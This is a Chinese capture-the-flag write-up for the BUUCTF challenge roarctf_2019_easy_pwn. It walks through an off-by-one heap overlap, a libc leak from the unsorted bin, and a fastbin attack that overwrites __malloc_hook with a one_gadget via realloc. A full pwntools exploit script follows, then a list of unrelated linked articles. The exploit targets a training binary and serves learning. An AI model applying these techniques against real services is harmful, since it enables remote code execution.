[BUUCTF]PWN——roarctf_2019_easy_pwn(详解)
roarctf_2019_easy_pwn
步骤:
例行检查,64位程序,保护全开
试运行一下程序,看看大概的情况,经典的堆块的菜单
64位ida载入,改了一下各个选项的函数名,方便看程序(按N)
add
edit
free
show
这道题的思路是通过 offbyone来构造重叠chunk,达到任意地址分配chunk的效果,然后修改malloc_hook地址处的内容为one gadget地址
首先利用Unsorted bin泄露libc的地址
我们先申请4个chunk
add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3
此时的堆布局是这样的
利用off-by-one通过修改chunk0将chunk1的size改为0xa1,34是(0x18+10),用来触发off-by-one漏洞的
edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))
接下来编辑chunk2来让我们伪造的chunk1通过检查,堆的理想状态如下图,之前c0那行是没有数据的
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))
之后我们释放掉chunk1,重新申请,这样我们就让new chunk 1(上图黄色标记) 和chunk 2 有重叠部分了
delete(1)
add(0x90)
但是重新申请的new chunk1 会覆写掉之前的chunk2的size
需要编辑一下chunk1去手动写入chunk2的size
edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
现在chunk1和chunk2有重叠了,释放掉chunk2,将其free以后,会归入unsorted bin,而如果只有一个bin的话,其fd与bk都是main_arena + offset,尽管free以后内容会清0,但是search函数中的memcmp却可以通过使v1为\x00来绕过,这样的话就会打印出bin的fb字段,即main_arena + offset,然后我们通过打印chunk1就能得到程序里的main_arena + offset地址,
动调可以知道offset=88,看一下给我们的libc里的main_arena的地址
ida打开libc,malloc_trim(),如图,libc里的main_arena的地址是0x3c4b20
这样就能计算出程序的偏移量了
libc_base=(程序里的main_arena+88)-0x3c4b78(0x3c4b0+88,一般2.23_64的偏移都是这个,不同libc版本会有不同)
delete(2)
show(1)
r.recvuntil("content: ")
r.recv(0x20)
libc_base=u64(r.recv(6).ljust(8,"\x00"))-0x3c4b78
show(1)往下的代码可以通过开启了context.log_level="debug"可以得到,在content之后有0x20个0,之后就是我们要接收的地址
我们重新申请一个chunk2
add(0x80)
接下来在chunk1中,伪造一个跟我们刚刚申请的new chunk2一样的chunk
edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
删去刚刚申请的new chunk2,看一下堆现在的布局,
delete(2)
可以看到我们已经在chunk1中伪造了一个chunk
接下是利用fastbin attack 任意地址写
edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)
堆布局
先看一下链表
为什么是malloc_hook-0x23
可以看到,malloc_hook-0x23的size域正好是malloc前面的某个地址的0x7f,可以达到fastbin的身躯的检测,而由于这个堆块有0x70这么大,我们只需要在申请的地址偏移0xb的地方就可以修改到malloc_hook为onegadget
接下来将malloc_hook修改为one_gadget即可,先找一下libc中的one_gadget地址
我一个一个试了一下都不可以,百度wp后得知需要用利用 ralloc_hook 改变栈环境达成 one_gadget 的条件,参考了这个师傅的修改方法
one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
edit(4,27,'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4))
设置好one_gadget的条件后,重新申请一个chunk就可以获取shell了
完整exp
from pwn import *
#r=remote('node3.buuoj.cn',25080)
r=process('roarctf_2019_easy_pwn')
libc=ELF('./libc-2.23-64.so')
context.log_level="debug"
def add(size):
r.recvuntil('choice: ')
r.sendline('1')
r.recvuntil('size:')
r.sendline(str(size))
def edit(index,size,data):
r.recvuntil('choice: ')
r.sendline('2')
r.recvuntil('index:')
r.sendline(str(index))
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('content:')
r.send(data)
def delete(index):
r.recvuntil('choice: ')
r.sendline('3')
r.recvuntil('index:')
r.sendline(str(index))
def show(index):
r.recvuntil('choice: ')
r.sendline('4')
r.recvuntil('index:')
r.sendline(str(index))
malloc_hook=libc.symbols['__malloc_hook']
realloc_hook=libc.symbols['realloc']
print hex(malloc_hook)
print hex(realloc_hook)
#gdb.attach(r,"b calloc")
add(0x18)#idx0
add(0x10)#idx1
add(0x90)#idx2
add(0x10)#idx3
#gdb.attach(r)
edit(0,34,'a'*0x10+p64(0x20)+p8(0xa1))#off by one
#gdb.attach(r)
edit(2,0x80,p64(0)*14+p64(0xa0)+p64(0x21))#by pass check
#gdb.attach(r)
delete(1)
add(0x90)#idx1 chunk overlap
edit(1,0x20,p64(0)*2+p64(0)+p64(0xa1))
delete(2)
show(1)
r.recvuntil("content: ")
r.recv(0x20)
libc_base=u64(r.recv(6).ljust(8,"\x00"))-0x3c4b78
print "libc_base:"+hex(libc_base)
add(0x80)
edit(1,0x90,p64(0)*2+p64(0)+p64(0x71)+p64(0)*12+p64(0x70)+p64(0x21))
delete(2)
edit(1,0x30,p64(0)*2+p64(0)+p64(0x71)+p64(malloc_hook+libc_base-0x23)*2)
add(0x60)
add(0x60)#idx4
#gdb.attach(r)
one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
edit(4,27,'a'*11+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+4))
add(0x60)
r.interactive()
关于堆利用的手法:https://blog.csdn.net/breeze_cat/article/details/103788698
参考wp:https://www.cnblogs.com/luoleqi/p/12380696.html
修改one_gadget的方法:https://blog.csdn.net/Maxmalloc/article/details/102535427
[BUUCTF]PWN——roarctf_2019_easy_pwn(详解)的更多相关文章
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- Linq之旅:Linq入门详解(Linq to Objects)
示例代码下载:Linq之旅:Linq入门详解(Linq to Objects) 本博文详细介绍 .NET 3.5 中引入的重要功能:Language Integrated Query(LINQ,语言集 ...
- 架构设计:远程调用服务架构设计及zookeeper技术详解(下篇)
一.下篇开头的废话 终于开写下篇了,这也是我写远程调用框架的第三篇文章,前两篇都被博客园作为[编辑推荐]的文章,很兴奋哦,嘿嘿~~~~,本人是个很臭美的人,一定得要截图为证: 今天是2014年的第一天 ...
- EntityFramework Core 1.1 Add、Attach、Update、Remove方法如何高效使用详解
前言 我比较喜欢安静,大概和我喜欢研究和琢磨技术原因相关吧,刚好到了元旦节,这几天可以好好学习下EF Core,同时在项目当中用到EF Core,借此机会给予比较深入的理解,这里我们只讲解和EF 6. ...
- Java 字符串格式化详解
Java 字符串格式化详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 文中如有纰漏,欢迎大家留言指出. 在 Java 的 String 类中,可以使用 format() 方法 ...
- Android Notification 详解(一)——基本操作
Android Notification 详解(一)--基本操作 版权声明:本文为博主原创文章,未经博主允许不得转载. 微博:厉圣杰 源码:AndroidDemo/Notification 文中如有纰 ...
- Android Notification 详解——基本操作
Android Notification 详解 版权声明:本文为博主原创文章,未经博主允许不得转载. 前几天项目中有用到 Android 通知相关的内容,索性把 Android Notificatio ...
- Git初探--笔记整理和Git命令详解
几个重要的概念 首先先明确几个概念: WorkPlace : 工作区 Index: 暂存区 Repository: 本地仓库/版本库 Remote: 远程仓库 当在Remote(如Github)上面c ...
随机推荐
- [loj539]旅游路线
考虑枚举加油的位置,当确定某次在第$i$个位置加油后,且下一次到$j$加油,那么$i$到$j$必然会选择不超过$c_{i}$条边且最长的路径,记作$d_{i,j}$ 如果能求出$d_{i,j}$,再设 ...
- [loj6500]操作
差分,令$b_{i}=a_{i-1}\oplus a_{i}$,对于一个区间$[l,r]$,相当于令$a_{l-1}=a_{r+1}=0$之后求出$b_{l..r+1}$,对区间$[i-k,i)$异或 ...
- [atARC086F]Shift and Decrement
将$A$操作看作直接除以2(保留小数),最终再将$a_{i}$取整 记$k$表示$A$操作的次数,$p_{i}$表示第$i$次$A$和第$i+1$次$A$之间$B$操作的次数(特别的,$p_{0}$为 ...
- [loj3180]天桥
考虑将所有交点作为关键点来建图跑最短路,但图上的关键点数量最坏为$o(nm)$,需要优化 当$s=0$且$g=n-1$的部分分,有以下结论: 1.对于一段天桥$([l,r],y)$,不会从$(r,y) ...
- arm中断汇编
IRQ_Handler: push {lr} /* 保存 lr 地址 */ push {r0-r3, r12} /* 保存 r0-r3,r12 寄存器 */ mrs r0, spsr /* 读取 sp ...
- I.MX启动方式和头部
1. 启动方式 2. 头部信息 编译好的bin文件烧写到SD卡中,需要加一些头部文件,才可以执行. Image vector table,简称 IVT,IVT 里面包含了一系列的地址信息,这些地址信息 ...
- SpringMVC注解搭配环境
1.准备文件 2.工程中的pom <?xml version="1.0" encoding="UTF-8"?> <project xmlns= ...
- C/C++ Qt MdiArea 多窗体组件应用
MDI多窗体组件,主要用于设计多文档界面应用程序,该组件具备有多种窗体展示风格,其实现了在父窗体中内嵌多种子窗体的功能,使用MDI组件需要在UI界面中增加mdiArea控件容器,我们所有的窗体创建与操 ...
- 【.NET 6】使用.NET 6开发minimal api以及依赖注入的实现、VS2022热重载和自动反编译功能的演示
前言: .net 6 LTS版本发布已经有若干天了.此处做一个关于使用.net 6 开发精简版webapi(minimal api)的入门教程,以及VS2022 上面的两个强大的新技能(热重载.代码自 ...
- 【虚树学习笔记([SDOI2011]消耗战)】
题意 [SDOI2011]消耗战 想法 首先我们可以很自然的想到怎么在整棵树上进行求解\(DP\) 很简单 每个点有两个选择 要么对其子树的关键点递归求解 要么自己断开 当然断开的\(cost\)为其 ...